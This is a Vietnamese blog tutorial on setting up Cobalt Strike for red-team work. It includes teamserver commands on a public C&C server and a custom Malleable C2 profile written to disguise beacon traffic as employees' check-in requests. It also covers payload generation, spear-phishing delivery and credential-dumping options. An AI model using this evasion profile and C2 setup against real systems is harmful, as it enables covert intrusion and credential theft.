Sử dụng Cobalt Strike cho Redteam (P1)
I. Welcome to Cobalt Strike
CobaltStrike là công cụ chuyên dụng dành cho RedTeam và BlackHat - sử dụng để mô phỏng các mối đe dọa tấn công vào doanh nghiệp và chính phủ. CobaltStrike hiện đang đứng top 1 trong danh sách các công cụ được sử dụng "sai mục đích" 🙄
Lấy cảm hứng từ Metasploit Framework , Raphael Mudge đã tạo ra một công cụ miễn phí dựa trên giao diện người dùng mang tên Armitage, rồi tiếp tục tạo ra bản nâng cấp của Armitage mang tên CobaltStrike. Đó là lý do Armitage và CobaltStrike "na ná" nhau về Logo cũng như cách sử dụng (theo như tác giả thì CobaltStrike là anh, còn Armitage là em)
So sánh Cobalt Strike với Metasploit Framework
-
CobaltStrike tập trung nhiều hơn về Malware Development, Phishing so với Metasploit Framework vốn tập trung nhiều hơn về exploit code. (Metasploit Pro có các tính năng tương tự nhưng ít được chú ý tới).
-
Thành phần mở rộng của Metasploit (module) sử dụng ngôn ngữ Ruby. Do đó để phát triển thêm các chức năng mới, buộc phải viết mã bằng Ruby theo format cố định.
-
CobaltStrike sử dụng các “CobaltStrike script” để giao tiếp với code người dùng phát triển. Do đó người dùng có thể sử dụng bất kỳ ngôn ngữ nào mà họ thích (C/C++. Powershell , Python).
-
CobaltStrike quản lý session tốt hơn so với Metasploit Framework (cảm nhận cá nhân) . Do đó nó thích hợp cho việc quản lý số lượng lớn “bot” trong vai trò như một C&C.
-
CobaltStrike có cơ chế (Client - Server) - Metasploit Framework thì không có . (Metasploit Pro thì mình không biết có hay không).
-
CobaltStrike mất phí và không phải ai cũng được phép mua (chỉ các doanh nghiệp tư nhân mới được mua) - nói vậy nhưng đa phần CobaltStrike được dùng bởi các tổ chức chính phủ.
II. Cài đặt
Xây dựng môi trường
- Máy chủ Ubuntu đóng vai trò như một C&C (IP public 34.126.119.215) đã trỏ Domain về http://malware-victim.online (C&C).
- Hệ điều hành Kali Linux đóng vai trò như Cobalt Strike Client (Hacker).
- Windows 10 Pro đóng vai trò như máy tính nạn nhân (Victim).
CobaltStrike hoạt động tốt với java version "17.0.2" 2022-01-18 LTS
Bước 1. Download CobaltStrike 4.4 (Cài này chúng ta phải liên hệ với hãng để mua https://download.cobaltstrike.com/download )
Lưu ý phiên bản chạy cài đặt trên C&C và Hacker phải đồng nhất - nếu không CS sẽ không chạy
Bước 2. Download Malleable C2 Profiles tại https://github.com/rsmudge/Malleable-C2-Profiles
Malleable C2 cho phép ẩn/fake lưu lượng từ Victim về C&C , là yếu tố rất quan trọng cho việc tăng khả năng khó phát hiện của mã độc. Mình sẽ nói kỹ hơn ở phần dưới.
Bước 3. Trên máy C&C chạy command
# screen
# ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
Trong đó :
- screen giúp giữ session sau khi thoát khỏi SSH (tùy chọn)
- host : IP của C&C (không sử dụng IP 127.0.0.1 hoặc localhost)
- password : Mật khẩu mà client sẽ sử dụng để đăng nhập vào C&C
- c2.profile : Profile đã tải về phía trên
- YYYY-MM-DD : Ngày tháng muốn server tự động ngắt kết nối
[root@sendm cobaltstrike4.4]# ./teamserver 34.126.119.215 123456a@ Malleable-C2-Profiles/normal/amazon.profile
[*] Will use existing X509 certificate and keystore (for SSL)
Hook starting...
Found desired class: common/Authorization
[+] I see you're into threat replication. Malleable-C2-Profiles/normal/amazon.profile loaded.
[*] Loading properties file (/root/cobaltstrike4.4/TeamServer.prop).
[*] Properties file was loaded.
[+] Team server is up on 0.0.0.0:8089
[*] SHA256 hash of SSL cert is: f0decb9b0f8c997defed2f6056b5cf566752f7c4cb6018e034b973224e949a9d
[+] Listener: payload_nc started!
Khởi động thành công ta có được SHA256 Hash.Giá trị này nhằm mục đích xác nhận lại tính toàn vẹn của gói tin khi gửi từ máy Hacker.
Bước 4. Trên máy Hacker (Kali Linux) tiến hành kết nối vào C&C
# ./start.sh
Một vài giá trị cần lưu ý :
- host : IP public của C&C (IP của chính máy mình trong trường hợp sử dụng máy chủ duy nhất để tấn công)
- port : Port kết nối vào C&C (Mặc định là 50050)
- User : Mặc định là neo
- Password : Password đã cài đặt phía trên
Để chỉnh sửa các thông số này, ta thay đổi trong file teamserver
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.k>
Một mã SHA256 sẽ hiện lên, mã này phải trùng khớp với SHA256 của C&C để xác minh tính toàn vẹn
Giao diện hiện ra khi kết nối thành công !!!
Nhìn chả có cái vẹo gì đúng không 😄? Nhưng bạn yên tâm, có nhiều thứ hay ho bên trong đây lắm.
III. Sử dụng cơ bản - Cobalt Strike 101
User Interface
Ở đây mình tạm chia thành 3 vùng cơ bản để chúng ta tiện theo dõi :
-
Vùng A (màu xanh nước biển ) : Chứa các nút chức năng để phục vụ cho các cuộc tấn công ( Running Commands , Session Passing , Upload and Download Files , File Browser , Desktop Control, Port Scanning ...)
-
Vùng B (màu đỏ) : Hiển thị các máy tính ta đã chiếm quyền điều khiển (bao gồm các thông số IP, tên máy tính, cấu trúc CPU , payload đang sử dụng , PID của malware ...) . Có 2 cách hiển thị (qua dạng bảng hoặc dạng GUI, ta có thể thay đổi chúng thông qua phím space)
-
Vùng C (màu nâu) : Hiển thị các event log (thông báo về việc user khác đăng nhập vào cobaltstrike hoặc chiếm quyền điều khiển hệ thống thành công ...)
Do Cobalt Strike là một công cụ quá rộng , dường như mọi hoạt động của red team đều có thể sử dụng "một nút nào đó", nên thay vì liệt kê từng chức năng, mình sẽ thể hiện qua việc tấn công các mục tiêu giả định để mọi người dễ theo dõi hơn.
Case Study - Giả lập tạo malware tấn công vào hệ thống example.com
Ở đây mình sử dụng Cobalt Strike áp dụng mô hình Red Team để thực hiện tấn công
Mô hình này bao gồm : Recon (tìm hiểu hệ thống cần tấn công) - Weaponization (tạo công cụ) - Delivery (chuyển mã độc tới nạn nhân) - Post Exploit
Step 1. Recon
Trong quá trình mã độc hoạt động, nó sẽ liên tục gửi các gói tin về máy chủ quản lý, nếu chúng ta không cấu hình phần này thì không khác gì "lạy ông tôi ở bụi này", việc cấu hình càng sát với một hoạt động của người dùng thông thường - càng tăng khả năng khó phát hiện. Trên github xuất hiện nhiều Malleable-C2-Profiles được viết sẵn - nhằm giả lập lưu lượng của Google, Youtube, AWS .. chúng ta có thể sử dụng luôn , nhưng ở đây mình sẽ tự viết Malleable C2 Profiles để đóng giả hoạt động của một nhân viên công ty.
Ví dụ trong quá trình recon, mình phát hiện tổ chức sử dụng một trang web cho nhân viên với domain checkin.example.com , domain này được nhân viên của công ty truy cập hàng ngày để tiến hành điểm danh - do đó mã độc của mình sẽ fake lưu lượng như một nhân viên thực hiện công việc này.
Step 2. Weaponization
Để tạo Malleable C2, ta tiến hành xây dựng theo cấu trúc sau
Đầu tiên - ta khai báo các thông số cơ bản gồm tên, thời gian sleep, useragent giả lập ...
#
# Author : XXXXXXX
# Example traffic profile
# Global Options
set sample_name "RAT Profile";
set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53";
Tiếp theo , nếu GET Request của việc checkin vào hệ thống checkin.example.com như này
GET / HTTP/2
Host: checkin.example.com
Cookie: _example_session=xxx&skin=yyyy&csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996
Cache-Control: max-age=0
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="98"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Thì tương ứng với việc giả lập trong code như sau
http-get {
set uri "/";
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9";
header "Host" "checkin.example.com";
metadata {
base64;
prepend "_example_session=xxx";
prepend "skin=yyyy;";
append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
header "Cookie";
}
}
Nếu Response server trả về như này
HTTP/2 200 OK
Server: nginx
Date: Mon, 21 Mar 2022 07:21:58 GMT
Content-Type: text/html; charset=utf-8
Status: 200 OK
Cache-Control: max-age=0, private, must-revalidate
Vary: Origin
X-Xss-Protection: 1; mode=block
X-Request-Id: 34c7ce58-2c70-49f5-bda9-b21d5f97898d
Etag: W/"c47c800de710c6825b5be9520e2b2c2e"
X-Frame-Options: SAMEORIGIN
X-Runtime: 0.054265
X-Content-Type-Options: nosniff
Thì tương ứng với việc giả lập trong code như sau
server {
header "Server" "nginx";
header "Status" "200 OK";
header "Cache-Control" " max-age=0, private, must-revalidate";
header "X-Xss-Protection" "1; mode=block";
header "X-Request-ID" "4c7ce58-2c70-49f5-bda9-b21d5f97898d";
output {
print;
}
}
}
Nếu POST Request của việc checkin vào hệ thống checkin.example.com như này
POST /vi/users/sign_in HTTP/2
Host: checkin.example.com
Cookie: xxxxxx
Content-Length: 375
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="98"
X-Csrf-Token: JLy2EWvO1zJlyqRg/Y0dn5bcK543OrbuLM9K/QIUx
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Platform: "Windows"
Origin: https://checkin.example.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://checkin.example.com
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
utf8=%E2%9C%93&authenticity_token=JLy2EWvO1zJlyqRg%2FY0dn5bcK543OrbuLM9K%2FQIUxxMhn5CF3L0GPJ6K5eGKM5n6toDu0TsyKv4tLdw4BmHoFw%3D%3D&authenticity_token=JLy2EWvO1zJlyqRg%2FY0dn5bcK543OrbuLM9K%2FQIUxxMhn5CF3L0GPJ6K5eGKM5n6toDu0TsyKv4tLdw4BmHoFw%3D%3D&user%5Btoken_core_value%5D=&user%5Bemail%5D=nguyen.van.x%4example.com&user%5Bpassword%5D=123123&user%5Bremember_me%5D=0
Thì tương ứng với việc giả lập trong code như sau
http-post {
set uri "/vi/users/sign_in";
client {
header "X-Requested-With" "XMLHttpRequest";
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9";
header "Host" "checkin.example.com";
# add parameter for URL
id {
base64;
header "Referer";
}
# parameter "uft8" "%E2%9C%93";
# parameter "authenticity_token" "JLy2EWvO1zJlyqRg%2FY0dn5bcK543OrbuLM9K%2FQIUxxMhn5CF3L0GPJ6K5eGKM5n6toDu0TsyKv4tLdw4BmHoFw%3D%3D";
# parameter "[user]email" "nguyen.van.x@example.com";
# parameter "[user]password" "1234123";
# parameter "[user]remember_me" "0";
output {
base64;
print;
}
}
Response trả về
HTTP/2 200 OK
Server: nginx
Date: Mon, 21 Mar 2022 07:26:05 GMT
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
Status: 200 OK
Cache-Control: max-age=0, private, must-revalidate
Vary: Origin
X-Xss-Protection: 1; mode=block
X-Request-Id: 29c4938d-bbc4-4f77-8fc7-1d99579067eb
Etag: W/"3bf7e2f06c2ef5f6100173303da911b5"
X-Frame-Options: SAMEORIGIN
X-Runtime: 0.027550
X-Content-Type-Options: nosniff
Set-Cookie: xxxxxxxx
X-Powered-By: Phusion Passenger 6.0.2
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers: Authorization,Content-Type,Content-Length,DAuthorization,Accept,Accept-Charset,Accept-EncodingWSM-AUTH-TOKEN
Access-Control-Expose-Headers: Content-Length,Content-Range
{"success":false,"message":"Invalid email or password."}
Tương ứng với việc giả lập
server {
header "Server" "nginx";
header "X-Xss-Protection:" "1; mode=block";
header "Cache-Control" "max-age=0, private, must-revalidate";
header "X-Frame-Options" "SAMEORIGIN";
header "X-Powered-By" "Phusion Passenger 6.0.2";
output {
print;
}
}
}
Sau khi tạo thành công file Malleable C2 , ta sử dụng c2lint trong thư mục cobaltstrike để kiểm tra xem file có hoạt động như mong muốn không. Tất cả những gì công cụ này hiển thị, chính là thứ Administrator sẽ nhìn thấy nếu sniff lưu lượng mạng malware của chúng ta
Lưu lại file với tên example.profile và kiểm tra với c2lint
# ./c2lint expamle.profile
Như vậy ta đã thành công trong việc ẩn giấu lưu lượng mạng độc hại thông qua cách hoạt động như một người dùng thông thường , với một Administrator ít kinh nghiệm, thật khó để biết đâu là truy cập của người dùng, đâu là lưu lượng của mã độc.
Khởi động Cobalt Strike với profile vừa tạo , câu lệnh như sau
# ./teamserver 34.126.119.215 123456a@ example.profile
Khởi động thành công, ta thiết lập trình lắng nghe theo đường dẫn Cobalt Strike > Listeners
Sau khi ấn "Add", ta thiết lập thông số cho trình lắng nghe
-
Name : Tên payload
-
Payload : Beacon HTTP (có rất nhiều beacon khác nhau với mục đích khác nhau, chúng ta sẽ tìm hiểu sau , ở đây ta chọn thống số mặc định)
-
HTTP Hosts : IP của máy C&C mà malware sẽ giao tiếp (giống LHOST trong msfconsole)
-
HTTP Port : Port của máy C&C mà malware sẽ giao tiếp (giống LPORT trong msfconsole)
Để tạo mã , ta tiến hành truy cập theo đường dẫn Attacks > Packages
Ở đây cung cấp nhiều dạng mã độc với nhiều nền tảng khác nhau bao gồm
- HTML Application : Mã html độc hại
- MS Office Marco : Mã Marco nhúng trong MS Office
- Payload Generator : Tạo malware đa nền tảng (C,Powershell , Perl , Java, Python ...)
- Windows Executable (s) : Các mã malware hoạt động trên Windows
Tạo mã độc thành công !!!
Step 3. Delivery
Để gửi mã độc cho nạn nhân thông qua email, ta tiến hành truy cập theo đường dẫn Attacks > Spear Phishing
Step 4. Post Exploit
Ngay khi nạn nhân khởi chạy mã độc, màn hình hiển thị như sau
Ở đây nếu ta thấy hình máy tính nạn nhân hiển thị hình tia sét, tức là ta có quyền quản trị , ngược lại thì không
Tab Access cho ta các tùy chọn tấn công chính gồm:
- Dump Hashes : Dump thông tin hash trong hệ thống
- Golden Ticket : Tạo ticket trong môi trường AD
- Mimikatz : Khởi chạy công cụ mimikatz
Tab Explore cho ta các tùy chọn tấn công chính gồm:
- Browser Pivot : Thực hiện Browser trên máy đã chiếm quyền điều khiển để Pivot vào tài nguyên không được phép xem
- File Browsert : Truy cập hệ thống file trên máy đã chiếm quyền điều khiển
- Port Scan : Scan port hệ thống
- Screenshot : Chụp ảnh hệ thống
Tab Pivoting cho ta các tùy chọn chức năng gồm:.
- SOCKS Server : Biến máy đã chiếm quyền điều khiển thành một SOCKS Server
- Deploy VPN
Tab Spawn kết nối session hiện tại với một beacon khác, thực hiện mục đích leo thang đặc quyền
IV. Kết luận
Trên đây là những kiến thức cơ bản nhất về Cobalt Strike , một công cụ với cực kì nhiều kỹ thuật phức tạp. Hi vọng chúng ta sẽ gặp nhau trong các phần tiếp theo. Cuối cùng, mình xin chúc mọi người một năm mới thuận lợi, phát triển trong công việc; đạt được nhiều thành tựu trong quá trình nâng cấp hiểu biết, chuyên môn, phát triển bản thân.
All rights reserved